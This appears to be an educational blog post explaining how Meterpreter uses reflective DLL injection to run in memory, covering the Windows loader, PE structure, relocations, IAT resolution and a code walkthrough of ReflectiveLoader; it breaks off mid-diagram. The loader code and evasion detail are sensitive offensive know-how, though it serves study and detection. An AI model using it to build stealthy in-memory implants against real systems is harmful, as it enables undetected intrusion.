Meterpreter Internals β€” How Reflective DLL Injection Actually Works

A deep dive into Stephen Fewer’s Reflective DLL Injection (RDI) architecture, step-by-step breakdown of ReflectiveLoader, and how Meterpreter uses RDI to achieve fileless, in-memory execution.

During our journey of penetration testing and solving labs, we realize how useful Meterpreter actually is. That got me thinkingβ€Šβ€”β€Šwhat actually is Meterpreter under the hood, and how does it do what itΒ does?

So I did some research, used AI to understand the concept behind itβ€Šβ€”β€Šsomething called Reflective DLL Loadingβ€Šβ€”β€Šand put together a complete reading material that’ll help you understand itΒ too.

Now let’s hopΒ in!

Meterpreter Never Touched Your Diskβ€Šβ€”β€ŠHere’s Exactly How That’sΒ Possible

You run exploit. Few seconds pass. ShellΒ drops.

Terminal window
meterpreter >

You’re in.

Now here’s the thingβ€Šβ€”β€Šgo check the target machine. Open File Explorer. Search for any newΒ .exe. Any newΒ .dll. Anything suspicious sitting onΒ disk.

You’ll findΒ nothing.

Task Manager shows notepad.exe running. Perfectly normal. Just a guy taking notes. Except Meterpreter is living inside it, sending your commands back to Kali, completely invisible to anyone who doesn’t know where toΒ look.

Most people hear β€œMeterpreter runs in memory” and nod like they understood something. They didn’t. That sentence explains nothing. It’s like saying β€œthe engine makes the car go.” Technically true. Completely useless.

Here’s the question that actuallyΒ matters:

Windows loads DLLs using LoadLibrary. LoadLibrary requires a file path. There’s no file. So how is anythingΒ loading?

That’s what this blog answers. And the answerβ€Šβ€”β€ŠReflective DLL Injectionβ€Šβ€”β€Šis one of the most elegant pieces of systems programming in offensive security. By the end of this post, you’ll understand exactly what’s happening at the memory level every time you get a Meterpreter session.

Let’s get intoΒ it.

Chapter 1: What LoadLibrary Actually Does (It’s Not What YouΒ Think)

Before we understand how Meterpreter bypasses the loader, we need to understand the loader itself. Because most people have a mental model that looks likeΒ this:

You call LoadLibrary("something.dll")
↓
Magic happens
↓
DLL is now loaded. Cool.

That mental model is wrong. And the gap between β€œmagic happens” and what actually happens is exactly where reflective injection lives.

Here’s what LoadLibrary actually does when you callΒ it:

The Real Chain ofΒ Calls

When you call LoadLibrary(β€œversion.dll”) in your code, you’re not calling a function that loads DLLs. You’re calling a function in kernel32.dll that calls a function in ntdll.dll that actually loadsΒ DLLs.

Your Code
β”‚
β”‚ calls LoadLibraryA("version.dll")
β–Ό
kernel32.dll β†’ Win32 wrapper. Validates arguments. Does bookkeeping.
β”‚
β”‚ calls LdrLoadDll()
β–Ό
ntdll.dll β†’ The REAL loader. This is where the work happens.
β”‚
β”‚ calls NtOpenFile, NtCreateSection, NtMapViewOfSection
β–Ό
Windows Kernel β†’ Actual memory operations happen here

Think of it like ordering food at a restaurant. You (your code) tell the waiter (kernel32) what you want. The waiter writes it down and hands it to the kitchen (ntdll). The kitchen actually cooks it (kernel). You just said β€œI want a burger.” You had no idea about the 15 steps that happened in theΒ kitchen.

The 5 Things the LoaderΒ Does

LdrLoadDll inside ntdll.dll performs five completely distinct operations. Every single one matters for understanding reflective injection.

1. Opens the file fromΒ disk

NtOpenFile("C:\Windows\System32\version.dll")

The loader takes your DLL name, figures out the full path (using the search order from the DLL Hijacking blog), and opens a file handle. This is step one. This is also the hard wallβ€Šβ€”β€Šno file on disk means this step fails and everything stops.

This is the exact wall that reflective injection has to breakΒ through.

2. Maps the file into memory as a β€œsectionΒ object”

Here’s a concept most people have never heard of: a sectionΒ object.

Think of a section object as a blueprint that Windows creates to represent a file mapped into memory. The loaderΒ calls:

NtCreateSection() // create the blueprint from the file
NtMapViewOfSection() // project the blueprint into the process's memory space

The SEC_IMAGE flag on NtCreateSection is important. It tells the kernel: β€œthis isn’t just a raw fileβ€Šβ€”β€Šit’s a PE image, map it respecting PE alignment rules.” Without this flag, the bytes land in memory in the wrongΒ layout.

After this step, the DLL bytes are in memory. But the DLL is not usable yet. There are two more problems that needΒ fixing.

3. Applies base relocations

This is the step that confuses most beginners. Let’s use anΒ analogy.

Imagine you’re a contractor building a house. Your blueprints say: β€œThe kitchen is at coordinates (100, 200) on the plot.” You show up to the actual plot and the available space starts at coordinate (500, 600). Now every room listed in the blueprint is at the wrong place. You need to go through every reference in the blueprint and add the offset: (400,Β 400).

That’s exactly what base relocations are.

When a DLL gets compiled, the compiler assumes it will be loaded at a specific address in memoryβ€Šβ€”β€Šcalled the preferred ImageBase (e.g. 0x10000000). The compiler then hardcodes addresses throughout the binary based on that assumption. ThingsΒ like:

mov rax, 0x10001234 ; "put the address of my_global_variable into rax"

That 0x10001234 is ImageBase (0x10000000) + offset_of_variable (0x1234). It’s burned into the binary at compileΒ time.

Now ASLR (Address Space Layout Randomization)β€Šβ€”β€Ša security featureβ€Šβ€”β€Šloads the DLL at a random address. Say 0x7FF840000000. Now that hardcoded 0x10001234 points to completely wrong memory. The DLL would crash instantly.

TheΒ .reloc section inside the DLL contains a list of every single place where a hardcoded address exists. The loader reads this list and patches eachΒ address:

delta = actual_load_address - preferred_ImageBase
= 0x7FF840000000 - 0x10000000
= 0x7FF830000000
For every hardcoded address:
*address += delta

After this, every pointer in the DLL points to the right place. The blueprint coordinates are corrected.

4. Resolves the Import Address TableΒ (IAT)

DLLs don’t live in isolation. version.dll needs functions from kernel32.dll. kernel32.dll needs functions from ntdll.dll. Every DLL has a shopping list of functions it needs from otherΒ DLLs.

But here’s the problem: those functions are at different memory addresses on every system, every Windows version, every reboot (thanks again,Β ASLR).

The Import Address Table (IAT) is a table of slots inside the DLLβ€Šβ€”β€Šone slot per imported function. Before the loader runs, those slots contain placeholder values (function names or ordinal numbersβ€Šβ€”β€Šjust hints). After the loader runs, those slots contain real memory addresses of the actual functions.

The loader’sΒ process:

For each DLL that version.dll imports from:
Load that DLL (recursively, if needed)
For each function version.dll needs from it:
Find the function's actual address in memory
Write that address into the correct IAT slot

After this step, when version.dll calls CreateFile, it reads the IAT slot for CreateFile, gets the real address, and jumps there. Without IAT resolution, every function call in the DLL jumps toΒ garbage.

5. CallsΒ DllMain

With relocations patched and imports resolved, the DLL is finally alive. The loader calls the DLL’s entryΒ point:

DllMain(module_handle, DLL_PROCESS_ATTACH, NULL);

The DLL initialises itself. Sets up internal state. Does whatever it needs to do onΒ load.

And thenβ€Šβ€”β€Šthis is the part that matters for detectionβ€Šβ€”β€Šthe loader registers the DLL in a structure called InMemoryOrderModuleList inside the PEB. The OS now officially knows this DLL is loaded. It has a record of it. Tools like Process Hacker can see it in the ModulesΒ tab.

Meterpreter never goes through any of this. It does all five steps itself. In memory. Without asking the OS forΒ help.

Chapter 2: The PE Fileβ€Šβ€”β€ŠThe Map Everything Reads

To understand how the reflective loader works, you need to understand what it’s reading. EveryΒ .exe andΒ .dll on Windows is a PE fileβ€Šβ€”β€ŠPortable Executable format. It’s a structured container with a very specificΒ layout.

Think of a PE file like a building with a lobby directory:

Ground floor = Headers (the directory β€” tells you where everything is)
Upper floors = Sections (the actual contents β€” code, data, etc.)

Here’s the fullΒ layout:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ DOS Header β”‚ ← First 64 bytes. Starts with "MZ"
β”‚ (e_lfanew field β†’ points to NT Headers)β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ DOS Stub β”‚ ← "This program cannot be run in DOS | | mode"
β”‚ β”‚ (nobody cares about this)
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ NT Headers β”‚ ← Starts with "PE\0\0" signature
β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚
β”‚ β”‚ File Header β”‚ β”‚ ← Machine type, section count
β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚
β”‚ β”‚ Optional Header β”‚ β”‚ ← ImageBase, SizeOfImage, EntryPoint
β”‚ β”‚ (NOT actually optional) β”‚ β”‚ DataDirectory array
β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ Section Headers Array β”‚ ← One entry per section
β”‚ [ .text header ][ .data header ] ... β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ Sections β”‚
β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” ← .text (executable code)β”‚
β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ ← .data (global variables)β”‚
β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ ← .rdata (strings, IAT) β”‚
β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ ← .reloc (relocation table)β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Let’s walk through what actuallyΒ matters.

The DOS Headerβ€Šβ€”β€ŠThe Old Guy at the FrontΒ Desk

The very first structure in every PE file. It exists for backward compatibility with DOS (yes, from the 1980s). Most of it is completely irrelevant today.

The only field that matters: e_lfanew at offset 0x3C. It’s a 4-byte value that tells you the offset to the NT Headers. The reflective loader reads this to skip the entire DOS section and jump straight to the realΒ headers.

Also: the first two bytes are always 4D 5Aβ€Šβ€”β€ŠASCII for MZ (initials of Mark Zbikowski, one of the DOS architects). This MZ signature is how the reflective loader scans backwards through memory to find the start of its own PE. It’s looking for that exact magicΒ number.

The Optional Headerβ€Šβ€”β€ŠThe Most Important Thing in theΒ File

Called β€œoptional” by the spec. Absolutely not optional in practice. This is the loader’s primary reference document for every decision itΒ makes.

The reflective loader reads these specificΒ fields:

FieldWhat It Means in Plain EnglishImageBaseβ€œI’d like to be loaded at address 0x180000000 please”SizeOfImageβ€œI need exactly X bytes of memory when fully loaded”SizeOfHeadersβ€œThe first X bytes are headersβ€Šβ€”β€Šcopy those first”AddressOfEntryPointβ€œCall this address (+ image base) to run DllMain”DataDirectory[1]β€œThe IAT info starts here”DataDirectory[5]β€œThe relocation table startsΒ here”

One concept you’ll see everywhere: RVA (Relative Virtual Address).

Almost nothing in PE headers is an absolute address. Everything is a relative offset from the image base. To get an actual usableΒ address:

Real Address = Where the DLL actually loaded + RVA

Real-world analogy: your friend says β€œmeet me at house number 42 on Oak Street.” That’s an absolute address. RVA is like saying β€œmeet me 42 houses down from where I’m standing.” The actual location depends on where you’re currently standing (the imageΒ base).

The reflective loader converts RVAs to real addresses constantly as it works through theΒ file.

Section Headersβ€Šβ€”β€ŠThe Table ofΒ Contents

Immediately after the Optional Header is an array of IMAGE_SECTION_HEADER structuresβ€Šβ€”β€Šone per section. Each entry is like a card in a filingΒ cabinet:

.text section header:
Name: ".text"
VirtualAddress: 0x1000 ← where it goes IN MEMORY (RVA)
VirtualSize: 0x4A20 ← how big it is in memory
PointerToRawData: 0x400 ← where it is IN THE FILE
SizeOfRawData: 0x4A00 ← how many bytes in the file

The loader uses these to know: β€œtake the bytes starting at file offset 0x400, and copy them to memory offset 0x1000 (relative to imageΒ base).”

There’s often a size mismatch between SizeOfRawData and VirtualSize. The extra space in memory gets zero-padded. The loader handles this automatically.

Chapter 3: Base Relocationsβ€Šβ€”β€ŠThe Most Underexplained Thing inΒ Windows

Let’s go deep on this because almost every blog handwaves it with β€œASLR randomizes addresses so the loader patches them.” That’s notΒ enough.

The Structure of theΒ .relocΒ Section

TheΒ .reloc section is organised in blocks. Each block covers a 4KB page of the PEΒ image:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ IMAGE_BASE_RELOCATION Block β”‚
β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚
β”‚ β”‚VirtualAddressβ”‚ 0x1000 β”‚ β”‚ ← "this block covers the page at | | | | RVA 0x1000"
β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚
β”‚ β”‚SizeOfBlock β”‚ 0x28 β”‚ β”‚ ← total size of this block
β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚
β”‚ β”‚ Entry: 0xA010 (type=10, offset=010)β”‚ β”‚ ← patch address at page_base + 0x010
β”‚ β”‚ Entry: 0xA048 (type=10, offset=048)β”‚ β”‚ ← patch address at page_base + 0x048
β”‚ β”‚ Entry: 0xA0C4 (type=10, offset=0C4)β”‚ β”‚ ← patch address at page_base + 0x0C4
β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
(repeat for every 4KB page that has relocations)

Each 16-bit entry in theΒ block:

  • Top 4 bits = type. For x64, this is 0xA (meaning DIR64β€Šβ€”β€Špatch a full 8-byte address). For x86, it’s 0x3 (HIGHLOWβ€Šβ€”β€Špatch a 4-byte address). Type 0x0 means padding, skipΒ it.
  • Bottom 12 bits = offset within the 4KB page where the patchΒ goes

So entry 0xA048 means: type=A (DIR64), offset=0x048 into this page. Patch the 8 bytes at image_base + block.VirtualAddress +Β 0x048.

The Math the Reflective LoaderΒ Does

# Pseudocode for what the relocation loop does
delta = new_base - preferred_ImageBase
# e.g. delta = 0x7FF840000000 - 0x180000000 = 0x7FF6C0000000
reloc_block = new_base + DataDirectory[5].VirtualAddress
while reloc_block is valid:
page_rva = reloc_block.VirtualAddress
entries = (reloc_block.SizeOfBlock - 8) / 2 # 8 bytes for the header
for each entry in entries:
type = entry >> 12 # top 4 bits
offset = entry & 0xFFF # bottom 12 bits
if type == 0xA: # DIR64 (x64)
address_to_patch = new_base + page_rva + offset
*(ULONG_PTR*)address_to_patch += delta
reloc_block = next block # advance by SizeOfBlock bytes

Chapter 4: The IATβ€Šβ€”β€ŠThe DLL’s PhoneΒ Book

Here’s a visual of what the IAT looks like before and after resolution:

BEFORE loader resolves IAT:
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Import Directory β”‚
β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚
β”‚ β”‚ Importing from: "KERNEL32.dll" β”‚ β”‚
β”‚ β”‚ β”‚ β”‚
β”‚ β”‚ IAT slot for CreateFile: [ "CreateFile" ] β”‚ ← just a name, not an | | | address
β”‚ β”‚ IAT slot for VirtualAlloc: [ "VirtualAlloc" ] β”‚
β”‚ β”‚ IAT slot for ReadFile: [ "ReadFile" ] β”‚
β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
AFTER loader resolves IAT:
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Import Directory β”‚
β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚
β”‚ β”‚ Importing from: "KERNEL32.dll" β”‚ β”‚
β”‚ β”‚ β”‚ β”‚
β”‚ β”‚ IAT slot for CreateFile: [ 0x7FF8A1234560 ] β”‚ ← real address in memory
β”‚ β”‚ IAT slot for VirtualAlloc: [ 0x7FF8A1289A00 ] β”‚
β”‚ β”‚ IAT slot for ReadFile: [ 0x7FF8A1234990 ] β”‚
β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

When the DLL’s code calls CreateFile, it doesn’t jump directly to an addressβ€Šβ€”β€Šit reads the IAT slot first, then jumps to whatever address is stored there. Like looking up a contact in your phone before calling them. The name is fixed. The number canΒ change.

The Import Descriptor Structure

For each imported DLL, the Import Directory contains an IMAGE_IMPORT_DESCRIPTOR:

IMAGE_IMPORT_DESCRIPTOR for "KERNEL32.dll":
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ OriginalFirstThunk β”‚ β†’ points to Import Name Table (hints) β”‚
β”‚ Name β”‚ β†’ points to string "KERNEL32.dll" β”‚
β”‚ FirstThunk β”‚ β†’ points to IAT (where addresses go) β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

The resolution loop the reflective loaderΒ runs:

IMAGE_IMPORT_DESCRIPTOR* desc = import_directory;
while (desc->Name != 0) {
// get the DLL name and load it
char* dll_name = new_base + desc->Name;
HMODULE dll = LoadLibraryA(dll_name);
// walk the thunk array
ULONG_PTR* name_thunk = new_base + desc->OriginalFirstThunk;
ULONG_PTR* iat = new_base + desc->FirstThunk;
while (*name_thunk) {
if (*name_thunk & IMAGE_ORDINAL_FLAG) {
// import by ordinal number (e.g. #42)
*iat = GetProcAddress(dll, MAKEINTRESOURCE(*name_thunk & 0xFFFF));
} else {
// import by name
IMAGE_IMPORT_BY_NAME* by_name = new_base + *name_thunk;
*iat = GetProcAddress(dll, by_name->Name);
}
name_thunk++;
iat++;
}
desc++;
}

After this runs, every IAT slot has a real address. Every function call in the DLL now works correctly.

Chapter 5: The Reflective Loaderβ€Šβ€”β€ŠBuilding a DLL FromΒ Nothing

Alright. Here’s where it gets genuinely impressive.

The reflective loader is a small, self-contained piece of code that lives inside the Meterpreter DLL itselfβ€Šβ€”β€Šexported under the name ReflectiveLoader. When the initial shellcode lands on the target machine, it doesn’t call LoadLibrary. It finds this export and calls it directly.

And ReflectiveLoader wakes up in an awkward situation:

"I exist somewhere in memory. I don't know where.
I have no file path. The OS loader didn't load me.
My IAT isn't resolved β€” I can't call any imported functions.
My relocations aren't patched β€” I can't use global variables.
I need to load myself. From scratch. Right now."

This is like waking up in a foreign country with no phone, no wallet, no ID, and needing to build a house. You have to first figure out where you are, then find basic tools, then do the actual construction.

Here’s exactly how it doesΒ it:

Step 0β€Šβ€”β€Šβ€œWhere Am I?” (The Bootstrap Problem)

The loader needs to find its own base address in memory. It can’t use global variables (relocations not applied). It can’t call functions (IAT not resolved). It hasΒ nothing.

The solution is elegant and veryΒ old:

call get_rip ; "call" pushes the return address (next instruction) onto the stack
get_rip:
pop rax ; pop that address into rax β€” now rax = current instruction pointer (RIP)

Now it has a pointer somewhere inside itself. It scans backwards through memory, looking for the bytes 4D 5Aβ€Šβ€”β€Šthe MZ signature that marks the start of a PE file. The first MZ it finds going backwards is the start of its ownΒ DLL.

Memory:
... [random bytes] [MZ][PE][headers][.text][.data]...[ReflectiveLoader code] ...
↑ ↑
start of DLL we're executing here
←←←←←← scan backwards until MZ found ←←←←←←

Now it has raw_baseβ€Šβ€”β€Ša pointer to the start of the raw, unloaded DLLΒ bytes.

Step 0.5β€Šβ€”β€ŠFinding kernel32.dll Without Calling GetModuleHandle

The loader needs VirtualAlloc, LoadLibraryA, and GetProcAddress to do everything else. But it can’t call themβ€Šβ€”β€Šthey’re in the IAT, which isn’t resolvedΒ yet.

Solution: walk the PEB manually.

Every Windows process has a PEB (Process Environment Block)β€Šβ€”β€Ša structure in memory that contains everything Windows knows about the process. One of its fields is Ldr, which points to a structure containing a linked list of all loadedΒ modules.

x64: gs:[0x60] β†’ PEB
β”‚
β””β†’ PEB.Ldr β†’ PEB_LDR_DATA
β”‚
β””β†’ InMemoryOrderModuleList
β”‚
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ ┐
β”‚LDR_DATA_TABLE_ENTRY β”‚ ← ntdll.dll
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ LDR_DATA_TABLE_ENTRYβ”‚ ← kernel32.dll
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ LDR_DATA_TABLE_ENTRYβ”‚ ← kernelbase.dll
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

The loader walks this linked list, comparing the BaseDllName field of each entry against the string β€œkernel32.dll”. When it finds a match, it has kernel32’s baseΒ address.

Then it manually parses kernel32’s export table (same way it’ll later parse the IATβ€Šβ€”β€Šraw pointer arithmetic through PE headers) to find the addresses of VirtualAlloc, LoadLibraryA, and GetProcAddress.

Now it has the three tools it needs to do everything else.

Step 1β€Šβ€”β€ŠAllocate Memory for the Fully LoadedΒ DLL

LPVOID new_base = VirtualAlloc(
NULL, // let OS choose the address
SizeOfImage, // from Optional Header β€” how much space the loaded DLL needs
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE // needs to be writable (copy sections) AND executable (run code)
);

SizeOfImage from the Optional Header tells it the exact amount of memory the DLL needs when fully expanded in memory. VirtualAlloc returns a fresh block of MEM_PRIVATE memoryβ€Šβ€”β€Šallocated by us, not mapped from aΒ file.

This single factβ€Šβ€”β€ŠMEM_PRIVATE instead of MEM_IMAGEβ€Šβ€”β€Šis the primary detection signal we’ll discussΒ later.

Step 2β€Šβ€”β€ŠCopy PEΒ Headers

memcpy(new_base, raw_base, SizeOfHeaders);

The PE headers go in first. The reflective loader needs them at the new location because every subsequent calculation references new_base + some_RVA. Headers first, then sections.

Step 3β€Šβ€”β€ŠCopy AllΒ Sections

IMAGE_SECTION_HEADER* section = first_section;
for (int i = 0; i < NumberOfSections; i++, section++) {
void* dest = new_base + section->VirtualAddress; // where it goes in memory
void* src = raw_base + section->PointerToRawData; // where it is in the file
memcpy(dest, src, section->SizeOfRawData);
}

Each section gets copied from its file position to its correct memory position.Β .text code lands at its VirtualAddress RVA.Β .data at its RVA.Β .reloc at its RVA. Everything is in the right place relative to new_base.

Step 4β€Šβ€”β€ŠApply Base Relocations

ULONG_PTR delta = (ULONG_PTR)new_base - optional_header->ImageBase;
if (delta != 0) {
// find the .reloc section
IMAGE_BASE_RELOCATION* reloc = new_base + DataDirectory[5].VirtualAddress;
while (reloc->VirtualAddress) {
WORD* entry = (WORD*)(reloc + 1); // entries start right after the header
int count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2;
for (int i = 0; i < count; i++, entry++) {
if ((*entry >> 12) == IMAGE_REL_BASED_DIR64) { // type 10 = x64
ULONG_PTR* patch = new_base + reloc->VirtualAddress + (*entry & 0xFFF);
*patch += delta;
}
}
reloc = (IMAGE_BASE_RELOCATION*)((BYTE*)reloc + reloc->SizeOfBlock);
}
}

Every hardcoded address in the DLL gets the delta added. After this, all internal pointers work correctly.

Step 5β€Šβ€”β€ŠResolve theΒ IAT

IMAGE_IMPORT_DESCRIPTOR* desc = new_base + DataDirectory[1].VirtualAddress;
while (desc->Name) {
HMODULE dll = LoadLibraryA(new_base + desc->Name);
ULONG_PTR* thunk = new_base + desc->OriginalFirstThunk;
ULONG_PTR* iat = new_base + desc->FirstThunk;
while (*thunk) {
if (*thunk & IMAGE_ORDINAL_FLAG)
*iat = (ULONG_PTR)GetProcAddress(dll, MAKEINTRESOURCE(*thunk & 0xFFFF));
else
*iat = (ULONG_PTR)GetProcAddress(dll, ((IMAGE_IMPORT_BY_NAME*)(new_base + *thunk))->Name);
thunk++; iat++;
}
desc++;
}

Every IAT slot filled. Every imported function now has a realΒ address.

Step 6β€Šβ€”β€ŠCallΒ DllMain

DLLMAIN entry_point = (DLLMAIN)(new_base + optional_header->AddressOfEntryPoint);
entry_point((HINSTANCE)new_base, DLL_PROCESS_ATTACH, NULL);

DllMain fires. Meterpreter initialises. It reads its configuration (C2 IP, port, encryption keyβ€Šβ€”β€Šbaked in at payload generation time), establishes an encrypted connection back to your listener, and waits for commands.

You have aΒ session.

The CompleteΒ Picture

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ REFLECTIVE LOADER SEQUENCE β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ β”‚
β”‚ Shellcode executes in target process β”‚
β”‚ ↓ β”‚
β”‚ Allocates RWX memory region β”‚
β”‚ ↓ β”‚
β”‚ Downloads Meterpreter DLL bytes over network β”‚
β”‚ ↓ β”‚
